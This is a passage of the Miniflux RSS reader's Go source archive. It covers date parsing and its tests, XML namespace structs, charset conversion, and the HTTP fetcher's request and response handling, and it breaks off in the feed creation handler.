if t, err = time.Parse(layout, processedInput); err == nil {
return checkTimezoneRange(t), nil
}
}
return t, fmt.Errorf(`date parser: failed to parse date "%s"`, rawInput)
}
// According to Golang documentation:
//
// RFC822, RFC850, and RFC1123 formats should be applied only to local times.
// Applying them to UTC times will use "UTC" as the time zone abbreviation,
// while strictly speaking those RFCs require the use of "GMT" in that case.
func parseLocalTimeDates(layout, ds string) (t time.Time, err error) {
loc := time.UTC
// Workaround for dates that don't use GMT.
if strings.HasSuffix(ds, "PST") || strings.HasSuffix(ds, "PDT") {
loc, _ = time.LoadLocation("America/Los_Angeles")
}
if strings.HasSuffix(ds, "EST") || strings.HasSuffix(ds, "EDT") {
loc, _ = time.LoadLocation("America/New_York")
}
return time.ParseInLocation(layout, ds, loc)
}
// https://en.wikipedia.org/wiki/List_of_UTC_offsets
// Offset range: westernmost (−12:00) to the easternmost (+14:00)
// Avoid "pq: time zone displacement out of range" errors
func checkTimezoneRange(t time.Time) time.Time {
_, offset := t.Zone()
if float64(offset) > 14*60*60 || float64(offset) < -12*60*60 {
t = t.UTC()
}
return t
}
v2-2.2.5/internal/reader/date/parser_test.go 0000664 0000000 0000000 00000015653 14743520056 0020744 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package date // import "miniflux.app/v2/internal/reader/date"
import (
"testing"
)
func FuzzParse(f *testing.F) {
f.Add("2017-12-22T22:09:49+00:00")
f.Add("Fri, 31 Mar 2023 20:19:00 America/Los_Angeles")
f.Fuzz(func(t *testing.T, date string) {
Parse(date)
})
}
func TestParseEmptyDate(t *testing.T) {
if _, err := Parse(" "); err == nil {
t.Fatalf(`Empty dates should return an error`)
}
}
func TestParseInvalidDate(t *testing.T) {
if _, err := Parse("invalid"); err == nil {
t.Fatalf(`Invalid dates should return an error`)
}
}
func TestParseAtomDate(t *testing.T) {
date, err := Parse("2017-12-22T22:09:49+00:00")
if err != nil {
t.Fatalf(`Atom dates should be parsed correctly`)
}
expectedTS := int64(1513980589)
if date.Unix() != expectedTS {
t.Errorf(`The Unix timestamp should be %v instead of %v`, expectedTS, date.Unix())
}
_, offset := date.Zone()
expectedOffset := 0
if offset != expectedOffset {
t.Errorf(`The offset should be %v instead of %v`, expectedOffset, offset)
}
}
func TestParseRSSDateTimezone(t *testing.T) {
date, err := Parse("Fri, 31 Mar 2023 20:19:00 America/Los_Angeles")
if err != nil {
t.Fatalf(`RSS dates should be parsed correctly`)
}
expectedTS := int64(1680319140)
if date.Unix() != expectedTS {
t.Errorf(`The Unix timestamp should be %v instead of %v`, expectedTS, date.Unix())
}
expectedLocation := "America/Los_Angeles"
if date.Location().String() != expectedLocation {
t.Errorf(`The location should be %q instead of %q`, expectedLocation, date.Location())
}
name, offset := date.Zone()
expectedName := "PDT"
if name != expectedName {
t.Errorf(`The zone name should be %q instead of %q`, expectedName, name)
}
expectedOffset := -25200
if offset != expectedOffset {
t.Errorf(`The offset should be %v instead of %v`, expectedOffset, offset)
}
}
func TestParseRSSDateGMT(t *testing.T) {
date, err := Parse("Tue, 03 Jun 2003 09:39:21 GMT")
if err != nil {
t.Fatalf(`RSS dates should be parsed correctly`)
}
expectedTS := int64(1054633161)
if date.Unix() != expectedTS {
t.Errorf(`The Unix timestamp should be %v instead of %v`, expectedTS, date.Unix())
}
expectedLocation := "GMT"
if date.Location().String() != expectedLocation {
t.Errorf(`The location should be %q instead of %q`, expectedLocation, date.Location())
}
name, offset := date.Zone()
expectedName := "GMT"
if name != expectedName {
t.Errorf(`The zone name should be %q instead of %q`, expectedName, name)
}
expectedOffset := 0
if offset != expectedOffset {
t.Errorf(`The offset should be %v instead of %v`, expectedOffset, offset)
}
}
func TestParseRSSDatePST(t *testing.T) {
date, err := Parse("Wed, 26 Dec 2018 10:00:54 PST")
if err != nil {
t.Fatalf(`RSS dates with PST timezone should be parsed correctly: %v`, err)
}
expectedTS := int64(1545847254)
if date.Unix() != expectedTS {
t.Errorf(`The Unix timestamp should be %v instead of %v`, expectedTS, date.Unix())
}
expectedLocation := "America/Los_Angeles"
if date.Location().String() != expectedLocation {
t.Errorf(`The location should be %q instead of %q`, expectedLocation, date.Location())
}
name, offset := date.Zone()
expectedName := "PST"
if name != expectedName {
t.Errorf(`The zone name should be %q instead of %q`, expectedName, name)
}
expectedOffset := -28800
if offset != expectedOffset {
t.Errorf(`The offset should be %v instead of %v`, expectedOffset, offset)
}
}
func TestParseRSSDateEST(t *testing.T) {
date, err := Parse("Wed, 10 Feb 2021 22:46:00 EST")
if err != nil {
t.Fatalf(`RSS dates with EST timezone should be parsed correctly: %v`, err)
}
expectedTS := int64(1613015160)
if date.Unix() != expectedTS {
t.Errorf(`The Unix timestamp should be %v instead of %v`, expectedTS, date.Unix())
}
expectedLocation := "America/New_York"
if date.Location().String() != expectedLocation {
t.Errorf(`The location should be %q instead of %q`, expectedLocation, date.Location())
}
name, offset := date.Zone()
expectedName := "EST"
if name != expectedName {
t.Errorf(`The zone name should be %q instead of %q`, expectedName, name)
}
expectedOffset := -18000
if offset != expectedOffset {
t.Errorf(`The offset should be %v instead of %v`, expectedOffset, offset)
}
}
func TestParseRSSDateOffset(t *testing.T) {
date, err := Parse("Sun, 28 Oct 2018 13:48:00 +0100")
if err != nil {
t.Fatalf(`RSS dates with offset should be parsed correctly: %v`, err)
}
expectedTS := int64(1540730880)
if date.Unix() != expectedTS {
t.Errorf(`The Unix timestamp should be %v instead of %v`, expectedTS, date.Unix())
}
_, offset := date.Zone()
expectedOffset := 3600
if offset != expectedOffset {
t.Errorf(`The offset should be %v instead of %v`, expectedOffset, offset)
}
}
func TestParseWeirdDateFormat(t *testing.T) {
dates := []string{
"Sun, 17 Dec 2017 1:55 PM EST",
"9 Dec 2016 12:00 GMT",
"Friday, December 22, 2017 - 3:09pm",
"Friday, December 8, 2017 - 3:07pm",
"Thu, 25 Feb 2016 00:00:00 Europe/Brussels",
"Mon, 09 Apr 2018, 16:04",
"Di, 23 Jan 2018 00:00:00 +0100",
"Do, 29 Mär 2018 00:00:00 +0200",
"mer, 9 avr 2018 00:00:00 +0200",
"1520932969",
"Tue 16 Feb 2016, 23:16:00 EDT",
"Tue, 16 Feb 2016 23:16:00 EDT",
"Tue, Feb 16 2016 23:16:00 EDT",
"March 30 2020 07:02:38 PM",
"Mon, 30 Mar 2020 19:53 +0000",
"Mon, 03/30/2020 - 19:19",
"2018-12-12T12:12",
"2020-11-08T16:20:00-05:00Z",
"Nov. 16, 2020, 10:57 a.m.",
"Friday 06 November 2020",
"Mon, November 16, 2020, 11:12 PM EST",
"Lundi, 16. Novembre 2020 - 15:54",
"Thu Nov 12 2020 17:00:00 GMT+0000 (Coordinated Universal Time)",
"Sat, 11 04 2020 08:51:49 +0100",
"Mon, 16th Nov 2020 13:16:28 GMT",
"Nov. 2020",
"ven., 03 juil. 2020 15:09:58 +0000",
"Fri, 26/06/2020",
"Thu, 29 Oct 2020 07:36:03 GMT-07:00",
"jeu., 02 avril 2020 00:00:00 +0200",
"Jan. 4, 2016, 12:37 p.m.",
"2018-10-23 04:07:42 +00:00",
"5 August, 2019",
"mar., 01 déc. 2020 16:11:02 +0000",
"Thurs, 15 Oct 2020 00:00:39 +0000",
"Thur, 19 Nov 2020 00:00:39 +0000",
"26 Sep 2022 GMT",
"Thu, June 22, 2023 at 01:11 PM EDT",
"Apr 16, 2023 08:01 GMT",
"Jun 23, 2023 19:00 GMT",
"09/15/2014 4:20 pm PST",
"Fri, 23rd Jun 2023 09:32:20 GMT",
"Sat, Oct 28 2023 08:28:28 PM",
"Monday, October 6, 2023 - 16:29\n",
"10/30/23 21:55:58",
"30.10.23",
}
for _, date := range dates {
if _, err := Parse(date); err != nil {
t.Errorf(`Unable to parse date: %q (%v)`, date, err)
}
}
}
func TestParseDateWithTimezoneOutOfRange(t *testing.T) {
inputs := []string{
"2023-05-29 00:00:00-13:00",
"2023-05-29 00:00:00+15:00",
}
for _, input := range inputs {
date, err := Parse(input)
if err != nil {
t.Errorf(`Unable to parse date: %v`, err)
}
if _, offset := date.Zone(); offset != 0 {
t.Errorf(`The offset should be reinitialized to 0 instead of %v because it's out of range`, offset)
}
}
}
v2-2.2.5/internal/reader/dublincore/ 0000775 0000000 0000000 00000000000 14743520056 0017261 5 ustar 00root root 0000000 0000000 v2-2.2.5/internal/reader/dublincore/dublincore.go 0000664 0000000 0000000 00000001215 14743520056 0021735 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package dublincore // import "miniflux.app/v2/internal/reader/dublincore"
type DublinCoreChannelElement struct {
DublinCoreCreator string `xml:"http://purl.org/dc/elements/1.1/ creator"`
}
type DublinCoreItemElement struct {
DublinCoreTitle string `xml:"http://purl.org/dc/elements/1.1/ title"`
DublinCoreDate string `xml:"http://purl.org/dc/elements/1.1/ date"`
DublinCoreCreator string `xml:"http://purl.org/dc/elements/1.1/ creator"`
DublinCoreContent string `xml:"http://purl.org/rss/1.0/modules/content/ encoded"`
}
v2-2.2.5/internal/reader/encoding/ 0000775 0000000 0000000 00000000000 14743520056 0016721 5 ustar 00root root 0000000 0000000 v2-2.2.5/internal/reader/encoding/encoding.go 0000664 0000000 0000000 00000002337 14743520056 0021043 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package encoding // import "miniflux.app/v2/internal/reader/encoding"
import (
"bytes"
"io"
"unicode/utf8"
"golang.org/x/net/html/charset"
)
// CharsetReader is used when the XML encoding is specified for the input document.
//
// The document is converted in UTF-8 only if a different encoding is specified
// and the document is not already UTF-8.
//
// Several edge cases could exists:
//
// - Feeds with encoding specified only in Content-Type header and not in XML document
// - Feeds with encoding specified in both places
// - Feeds with encoding specified only in XML document and not in HTTP header
// - Feeds with wrong encoding defined and already in UTF-8
func CharsetReader(charsetLabel string, input io.Reader) (io.Reader, error) {
buffer, _ := io.ReadAll(input)
r := bytes.NewReader(buffer)
// The document is already UTF-8, do not do anything (avoid double-encoding).
// That means the specified encoding in XML prolog is wrong.
if utf8.Valid(buffer) {
return r, nil
}
// Transform document to UTF-8 from the specified encoding in XML prolog.
return charset.NewReaderLabel(charsetLabel, r)
}
v2-2.2.5/internal/reader/fetcher/ 0000775 0000000 0000000 00000000000 14743520056 0016553 5 ustar 00root root 0000000 0000000 v2-2.2.5/internal/reader/fetcher/encoding_wrappers.go 0000664 0000000 0000000 00000002003 14743520056 0022606 0 ustar 00root root 0000000 0000000 package fetcher
import (
"compress/gzip"
"io"
"github.com/andybalholm/brotli"
)
type brotliReadCloser struct {
body io.ReadCloser
brotliReader io.Reader
}
func NewBrotliReadCloser(body io.ReadCloser) *brotliReadCloser {
return &brotliReadCloser{
body: body,
brotliReader: brotli.NewReader(body),
}
}
func (b *brotliReadCloser) Read(p []byte) (n int, err error) {
return b.brotliReader.Read(p)
}
func (b *brotliReadCloser) Close() error {
return b.body.Close()
}
type gzipReadCloser struct {
body io.ReadCloser
gzipReader io.Reader
gzipErr error
}
func NewGzipReadCloser(body io.ReadCloser) *gzipReadCloser {
return &gzipReadCloser{body: body}
}
func (gz *gzipReadCloser) Read(p []byte) (n int, err error) {
if gz.gzipReader == nil {
if gz.gzipErr == nil {
gz.gzipReader, gz.gzipErr = gzip.NewReader(gz.body)
}
if gz.gzipErr != nil {
return 0, gz.gzipErr
}
}
return gz.gzipReader.Read(p)
}
func (gz *gzipReadCloser) Close() error {
return gz.body.Close()
}
v2-2.2.5/internal/reader/fetcher/request_builder.go 0000664 0000000 0000000 00000012161 14743520056 0022301 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package fetcher // import "miniflux.app/v2/internal/reader/fetcher"
import (
"crypto/tls"
"encoding/base64"
"log/slog"
"net"
"net/http"
"net/url"
"time"
)
const (
defaultHTTPClientTimeout = 20
defaultHTTPClientMaxBodySize = 15 * 1024 * 1024
defaultAcceptHeader = "application/xml, application/atom+xml, application/rss+xml, application/rdf+xml, application/feed+json, text/html, */*;q=0.9"
)
type RequestBuilder struct {
headers http.Header
clientProxyURL string
useClientProxy bool
clientTimeout int
withoutRedirects bool
ignoreTLSErrors bool
disableHTTP2 bool
}
func NewRequestBuilder() *RequestBuilder {
return &RequestBuilder{
headers: make(http.Header),
clientTimeout: defaultHTTPClientTimeout,
}
}
func (r *RequestBuilder) WithHeader(key, value string) *RequestBuilder {
r.headers.Set(key, value)
return r
}
func (r *RequestBuilder) WithETag(etag string) *RequestBuilder {
if etag != "" {
r.headers.Set("If-None-Match", etag)
}
return r
}
func (r *RequestBuilder) WithLastModified(lastModified string) *RequestBuilder {
if lastModified != "" {
r.headers.Set("If-Modified-Since", lastModified)
}
return r
}
func (r *RequestBuilder) WithUserAgent(userAgent string, defaultUserAgent string) *RequestBuilder {
if userAgent != "" {
r.headers.Set("User-Agent", userAgent)
} else {
r.headers.Set("User-Agent", defaultUserAgent)
}
return r
}
func (r *RequestBuilder) WithCookie(cookie string) *RequestBuilder {
if cookie != "" {
r.headers.Set("Cookie", cookie)
}
return r
}
func (r *RequestBuilder) WithUsernameAndPassword(username, password string) *RequestBuilder {
if username != "" && password != "" {
r.headers.Set("Authorization", "Basic "+base64.StdEncoding.EncodeToString([]byte(username+":"+password)))
}
return r
}
func (r *RequestBuilder) WithProxy(proxyURL string) *RequestBuilder {
r.clientProxyURL = proxyURL
return r
}
func (r *RequestBuilder) UseProxy(value bool) *RequestBuilder {
r.useClientProxy = value
return r
}
func (r *RequestBuilder) WithTimeout(timeout int) *RequestBuilder {
r.clientTimeout = timeout
return r
}
func (r *RequestBuilder) WithoutRedirects() *RequestBuilder {
r.withoutRedirects = true
return r
}
func (r *RequestBuilder) DisableHTTP2(value bool) *RequestBuilder {
r.disableHTTP2 = value
return r
}
func (r *RequestBuilder) IgnoreTLSErrors(value bool) *RequestBuilder {
r.ignoreTLSErrors = value
return r
}
func (r *RequestBuilder) ExecuteRequest(requestURL string) (*http.Response, error) {
// We get the safe ciphers
ciphers := tls.CipherSuites()
if r.ignoreTLSErrors {
// and the insecure ones if we are ignoring TLS errors. This allows to connect to badly configured servers anyway
ciphers = append(ciphers, tls.InsecureCipherSuites()...)
}
cipherSuites := []uint16{}
for _, cipher := range ciphers {
cipherSuites = append(cipherSuites, cipher.ID)
}
transport := &http.Transport{
Proxy: http.ProxyFromEnvironment,
// Setting `DialContext` disables HTTP/2, this option forces the transport to try HTTP/2 regardless.
ForceAttemptHTTP2: true,
DialContext: (&net.Dialer{
// Default is 30s.
Timeout: 10 * time.Second,
// Default is 30s.
KeepAlive: 15 * time.Second,
}).DialContext,
// Default is 100.
MaxIdleConns: 50,
// Default is 90s.
IdleConnTimeout: 10 * time.Second,
TLSClientConfig: &tls.Config{
CipherSuites: cipherSuites,
InsecureSkipVerify: r.ignoreTLSErrors,
},
}
if r.disableHTTP2 {
transport.ForceAttemptHTTP2 = false
// https://pkg.go.dev/net/http#hdr-HTTP_2
// Programs that must disable HTTP/2 can do so by setting [Transport.TLSNextProto] (for clients) or [Server.TLSNextProto] (for servers) to a non-nil, empty map.
transport.TLSNextProto = map[string]func(string, *tls.Conn) http.RoundTripper{}
}
if r.useClientProxy && r.clientProxyURL != "" {
if proxyURL, err := url.Parse(r.clientProxyURL); err != nil {
slog.Warn("Unable to parse proxy URL",
slog.String("proxy_url", r.clientProxyURL),
slog.Any("error", err),
)
} else {
transport.Proxy = http.ProxyURL(proxyURL)
}
}
client := &http.Client{
Timeout: time.Duration(r.clientTimeout) * time.Second,
}
if r.withoutRedirects {
client.CheckRedirect = func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
}
}
client.Transport = transport
req, err := http.NewRequest("GET", requestURL, nil)
if err != nil {
return nil, err
}
req.Header = r.headers
req.Header.Set("Accept-Encoding", "br, gzip")
req.Header.Set("Accept", defaultAcceptHeader)
req.Header.Set("Connection", "close")
slog.Debug("Making outgoing request", slog.Group("request",
slog.String("method", req.Method),
slog.String("url", req.URL.String()),
slog.Any("headers", req.Header),
slog.Bool("without_redirects", r.withoutRedirects),
slog.Bool("with_proxy", r.useClientProxy),
slog.String("proxy_url", r.clientProxyURL),
slog.Bool("ignore_tls_errors", r.ignoreTLSErrors),
slog.Bool("disable_http2", r.disableHTTP2),
))
return client.Do(req)
}
v2-2.2.5/internal/reader/fetcher/response_handler.go 0000664 0000000 0000000 00000016731 14743520056 0022445 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package fetcher // import "miniflux.app/v2/internal/reader/fetcher"
import (
"crypto/x509"
"errors"
"fmt"
"io"
"log/slog"
"net"
"net/http"
"net/url"
"os"
"strconv"
"strings"
"time"
"miniflux.app/v2/internal/locale"
)
type ResponseHandler struct {
httpResponse *http.Response
clientErr error
}
func NewResponseHandler(httpResponse *http.Response, clientErr error) *ResponseHandler {
return &ResponseHandler{httpResponse: httpResponse, clientErr: clientErr}
}
func (r *ResponseHandler) EffectiveURL() string {
return r.httpResponse.Request.URL.String()
}
func (r *ResponseHandler) ContentType() string {
return r.httpResponse.Header.Get("Content-Type")
}
func (r *ResponseHandler) LastModified() string {
// Ignore caching headers for feeds that do not want any cache.
if r.httpResponse.Header.Get("Expires") == "0" {
return ""
}
return r.httpResponse.Header.Get("Last-Modified")
}
func (r *ResponseHandler) ETag() string {
// Ignore caching headers for feeds that do not want any cache.
if r.httpResponse.Header.Get("Expires") == "0" {
return ""
}
return r.httpResponse.Header.Get("ETag")
}
func (r *ResponseHandler) ParseRetryDelay() int {
retryAfterHeaderValue := r.httpResponse.Header.Get("Retry-After")
if retryAfterHeaderValue != "" {
// First, try to parse as an integer (number of seconds)
if seconds, err := strconv.Atoi(retryAfterHeaderValue); err == nil {
return seconds
}
// If not an integer, try to parse as an HTTP-date
if t, err := time.Parse(time.RFC1123, retryAfterHeaderValue); err == nil {
return int(time.Until(t).Seconds())
}
}
return 0
}
func (r *ResponseHandler) IsRateLimited() bool {
return r.httpResponse != nil && r.httpResponse.StatusCode == http.StatusTooManyRequests
}
func (r *ResponseHandler) IsModified(lastEtagValue, lastModifiedValue string) bool {
if r.httpResponse.StatusCode == http.StatusNotModified {
return false
}
if r.ETag() != "" {
return r.ETag() != lastEtagValue
}
if r.LastModified() != "" {
return r.LastModified() != lastModifiedValue
}
return true
}
func (r *ResponseHandler) IsRedirect() bool {
return r.httpResponse != nil &&
(r.httpResponse.StatusCode == http.StatusMovedPermanently ||
r.httpResponse.StatusCode == http.StatusFound ||
r.httpResponse.StatusCode == http.StatusSeeOther ||
r.httpResponse.StatusCode == http.StatusTemporaryRedirect ||
r.httpResponse.StatusCode == http.StatusPermanentRedirect)
}
func (r *ResponseHandler) Close() {
if r.httpResponse != nil && r.httpResponse.Body != nil && r.clientErr == nil {
r.httpResponse.Body.Close()
}
}
func (r *ResponseHandler) getReader(maxBodySize int64) io.ReadCloser {
contentEncoding := strings.ToLower(r.httpResponse.Header.Get("Content-Encoding"))
slog.Debug("Request response",
slog.String("effective_url", r.EffectiveURL()),
slog.String("content_length", r.httpResponse.Header.Get("Content-Length")),
slog.String("content_encoding", contentEncoding),
slog.String("content_type", r.httpResponse.Header.Get("Content-Type")),
)
reader := r.httpResponse.Body
switch contentEncoding {
case "br":
reader = NewBrotliReadCloser(r.httpResponse.Body)
case "gzip":
reader = NewGzipReadCloser(r.httpResponse.Body)
}
return http.MaxBytesReader(nil, reader, maxBodySize)
}
func (r *ResponseHandler) Body(maxBodySize int64) io.ReadCloser {
return r.getReader(maxBodySize)
}
func (r *ResponseHandler) ReadBody(maxBodySize int64) ([]byte, *locale.LocalizedErrorWrapper) {
limitedReader := r.getReader(maxBodySize)
buffer, err := io.ReadAll(limitedReader)
if err != nil && err != io.EOF {
if err, ok := err.(*http.MaxBytesError); ok {
return nil, locale.NewLocalizedErrorWrapper(fmt.Errorf("fetcher: response body too large: %d bytes", err.Limit), "error.http_response_too_large")
}
return nil, locale.NewLocalizedErrorWrapper(fmt.Errorf("fetcher: unable to read response body: %w", err), "error.http_body_read", err)
}
if len(buffer) == 0 {
return nil, locale.NewLocalizedErrorWrapper(fmt.Errorf("fetcher: empty response body"), "error.http_empty_response_body")
}
return buffer, nil
}
func (r *ResponseHandler) LocalizedError() *locale.LocalizedErrorWrapper {
if r.clientErr != nil {
switch {
case isSSLError(r.clientErr):
return locale.NewLocalizedErrorWrapper(fmt.Errorf("fetcher: %w", r.clientErr), "error.tls_error", r.clientErr)
case isNetworkError(r.clientErr):
return locale.NewLocalizedErrorWrapper(fmt.Errorf("fetcher: %w", r.clientErr), "error.network_operation", r.clientErr)
case os.IsTimeout(r.clientErr):
return locale.NewLocalizedErrorWrapper(fmt.Errorf("fetcher: %w", r.clientErr), "error.network_timeout", r.clientErr)
case errors.Is(r.clientErr, io.EOF):
return locale.NewLocalizedErrorWrapper(fmt.Errorf("fetcher: %w", r.clientErr), "error.http_empty_response")
default:
return locale.NewLocalizedErrorWrapper(fmt.Errorf("fetcher: %w", r.clientErr), "error.http_client_error", r.clientErr)
}
}
switch r.httpResponse.StatusCode {
case http.StatusUnauthorized:
return locale.NewLocalizedErrorWrapper(fmt.Errorf("fetcher: access unauthorized (401 status code)"), "error.http_not_authorized")
case http.StatusForbidden:
return locale.NewLocalizedErrorWrapper(fmt.Errorf("fetcher: access forbidden (403 status code)"), "error.http_forbidden")
case http.StatusTooManyRequests:
return locale.NewLocalizedErrorWrapper(fmt.Errorf("fetcher: too many requests (429 status code)"), "error.http_too_many_requests")
case http.StatusNotFound, http.StatusGone:
return locale.NewLocalizedErrorWrapper(fmt.Errorf("fetcher: resource not found (%d status code)", r.httpResponse.StatusCode), "error.http_resource_not_found")
case http.StatusInternalServerError:
return locale.NewLocalizedErrorWrapper(fmt.Errorf("fetcher: remote server error (%d status code)", r.httpResponse.StatusCode), "error.http_internal_server_error")
case http.StatusBadGateway:
return locale.NewLocalizedErrorWrapper(fmt.Errorf("fetcher: bad gateway (%d status code)", r.httpResponse.StatusCode), "error.http_bad_gateway")
case http.StatusServiceUnavailable:
return locale.NewLocalizedErrorWrapper(fmt.Errorf("fetcher: service unavailable (%d status code)", r.httpResponse.StatusCode), "error.http_service_unavailable")
case http.StatusGatewayTimeout:
return locale.NewLocalizedErrorWrapper(fmt.Errorf("fetcher: gateway timeout (%d status code)", r.httpResponse.StatusCode), "error.http_gateway_timeout")
}
if r.httpResponse.StatusCode >= 400 {
return locale.NewLocalizedErrorWrapper(fmt.Errorf("fetcher: unexpected status code (%d status code)", r.httpResponse.StatusCode), "error.http_unexpected_status_code", r.httpResponse.StatusCode)
}
if r.httpResponse.StatusCode != 304 {
// Content-Length = -1 when no Content-Length header is sent.
if r.httpResponse.ContentLength == 0 {
return locale.NewLocalizedErrorWrapper(fmt.Errorf("fetcher: empty response body"), "error.http_empty_response_body")
}
}
return nil
}
func isNetworkError(err error) bool {
if _, ok := err.(*url.Error); ok {
return true
}
if err == io.EOF {
return true
}
var opErr *net.OpError
if ok := errors.As(err, &opErr); ok {
return true
}
return false
}
func isSSLError(err error) bool {
var certErr x509.UnknownAuthorityError
if errors.As(err, &certErr) {
return true
}
var hostErr x509.HostnameError
if errors.As(err, &hostErr) {
return true
}
var algErr x509.InsecureAlgorithmError
return errors.As(err, &algErr)
}
v2-2.2.5/internal/reader/fetcher/response_handler_test.go 0000664 0000000 0000000 00000004671 14743520056 0023504 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package fetcher // import "miniflux.app/v2/internal/reader/fetcher"
import (
"net/http"
"testing"
"time"
)
func TestIsModified(t *testing.T) {
var cachedEtag = "abc123"
var cachedLastModified = "Wed, 21 Oct 2015 07:28:00 GMT"
var testCases = map[string]struct {
Status int
LastModified string
ETag string
IsModified bool
}{
"Unmodified 304": {
Status: 304,
LastModified: cachedLastModified,
ETag: cachedEtag,
IsModified: false,
},
"Unmodified 200": {
Status: 200,
LastModified: cachedLastModified,
ETag: cachedEtag,
IsModified: false,
},
// ETag takes precedence per RFC9110 8.8.1.
"Last-Modified changed only": {
Status: 200,
LastModified: "Thu, 22 Oct 2015 07:28:00 GMT",
ETag: cachedEtag,
IsModified: false,
},
"ETag changed only": {
Status: 200,
LastModified: cachedLastModified,
ETag: "xyz789",
IsModified: true,
},
"ETag and Last-Modified changed": {
Status: 200,
LastModified: "Thu, 22 Oct 2015 07:28:00 GMT",
ETag: "xyz789",
IsModified: true,
},
}
for name, tc := range testCases {
t.Run(name, func(tt *testing.T) {
header := http.Header{}
header.Add("Last-Modified", tc.LastModified)
header.Add("ETag", tc.ETag)
rh := ResponseHandler{
httpResponse: &http.Response{
StatusCode: tc.Status,
Header: header,
},
}
if tc.IsModified != rh.IsModified(cachedEtag, cachedLastModified) {
tt.Error(name)
}
})
}
}
func TestRetryDelay(t *testing.T) {
var testCases = map[string]struct {
RetryAfterHeader string
ExpectedDelay int
}{
"Empty header": {
RetryAfterHeader: "",
ExpectedDelay: 0,
},
"Integer value": {
RetryAfterHeader: "42",
ExpectedDelay: 42,
},
"HTTP-date": {
RetryAfterHeader: time.Now().Add(42 * time.Second).Format(time.RFC1123),
ExpectedDelay: 41,
},
}
for name, tc := range testCases {
t.Run(name, func(tt *testing.T) {
header := http.Header{}
header.Add("Retry-After", tc.RetryAfterHeader)
rh := ResponseHandler{
httpResponse: &http.Response{
Header: header,
},
}
if tc.ExpectedDelay != rh.ParseRetryDelay() {
tt.Errorf("Expected %d, got %d for scenario %q", tc.ExpectedDelay, rh.ParseRetryDelay(), name)
}
})
}
}
v2-2.2.5/internal/reader/googleplay/ 0000775 0000000 0000000 00000000000 14743520056 0017275 5 ustar 00root root 0000000 0000000 v2-2.2.5/internal/reader/googleplay/googleplay.go 0000664 0000000 0000000 00000003107 14743520056 0021767 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package googleplay // import "miniflux.app/v2/internal/reader/googleplay"
// Specs:
// https://support.google.com/googleplay/podcasts/answer/6260341
// https://www.google.com/schemas/play-podcasts/1.0/play-podcasts.xsd
type GooglePlayChannelElement struct {
GooglePlayAuthor string `xml:"http://www.google.com/schemas/play-podcasts/1.0 author"`
GooglePlayEmail string `xml:"http://www.google.com/schemas/play-podcasts/1.0 email"`
GooglePlayImage GooglePlayImageElement `xml:"http://www.google.com/schemas/play-podcasts/1.0 image"`
GooglePlayDescription string `xml:"http://www.google.com/schemas/play-podcasts/1.0 description"`
GooglePlayCategory GooglePlayCategoryElement `xml:"http://www.google.com/schemas/play-podcasts/1.0 category"`
}
type GooglePlayItemElement struct {
GooglePlayAuthor string `xml:"http://www.google.com/schemas/play-podcasts/1.0 author"`
GooglePlayDescription string `xml:"http://www.google.com/schemas/play-podcasts/1.0 description"`
GooglePlayExplicit string `xml:"http://www.google.com/schemas/play-podcasts/1.0 explicit"`
GooglePlayBlock string `xml:"http://www.google.com/schemas/play-podcasts/1.0 block"`
GooglePlayNewFeedURL string `xml:"http://www.google.com/schemas/play-podcasts/1.0 new-feed-url"`
}
type GooglePlayImageElement struct {
Href string `xml:"href,attr"`
}
type GooglePlayCategoryElement struct {
Text string `xml:"text,attr"`
}
v2-2.2.5/internal/reader/handler/ 0000775 0000000 0000000 00000000000 14743520056 0016550 5 ustar 00root root 0000000 0000000 v2-2.2.5/internal/reader/handler/handler.go 0000664 0000000 0000000 00000036724 14743520056 0020530 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package handler // import "miniflux.app/v2/internal/reader/handler"
import (
"bytes"
"errors"
"log/slog"
"miniflux.app/v2/internal/config"
"miniflux.app/v2/internal/integration"
"miniflux.app/v2/internal/locale"
"miniflux.app/v2/internal/model"
"miniflux.app/v2/internal/reader/fetcher"
"miniflux.app/v2/internal/reader/icon"
"miniflux.app/v2/internal/reader/parser"
"miniflux.app/v2/internal/reader/processor"
"miniflux.app/v2/internal/storage"
)
var (
ErrCategoryNotFound = errors.New("fetcher: category not found")
ErrFeedNotFound = errors.New("fetcher: feed not found")
ErrDuplicatedFeed = errors.New("fetcher: duplicated feed")
)
func CreateFeedFromSubscriptionDiscovery(store *storage.Storage, userID int64, feedCreationRequest *model.FeedCreationRequestFromSubscriptionDiscovery) (*model.Feed, *locale.LocalizedErrorWrapper) {
slog.Debug("Begin feed creation process from subscription discovery",
slog.Int64("user_id", userID),
slog.String("feed_url", feedCreationRequest.FeedURL),
)
if !store.CategoryIDExists(userID, feedCreationRequest.CategoryID) {
return nil, locale.NewLocalizedErrorWrapper(ErrCategoryNotFound, "error.category_not_found")
}
if store.FeedURLExists(userID, feedCreationRequest.FeedURL) {
return nil, locale.NewLocalizedErrorWrapper(ErrDuplicatedFeed, "error.duplicated_feed")
}
subscription, parseErr := parser.ParseFeed(feedCreationRequest.FeedURL, feedCreationRequest.Content)
if parseErr != nil {
return nil, locale.NewLocalizedErrorWrapper(parseErr, "error.unable_to_parse_feed", parseErr)
}
subscription.UserID = userID
subscription.UserAgent = feedCreationRequest.UserAgent
subscription.Cookie = feedCreationRequest.Cookie
subscription.Username = feedCreationRequest.Username
subscription.Password = feedCreationRequest.Password
subscription.Crawler = feedCreationRequest.Crawler
subscription.Disabled = feedCreationRequest.Disabled
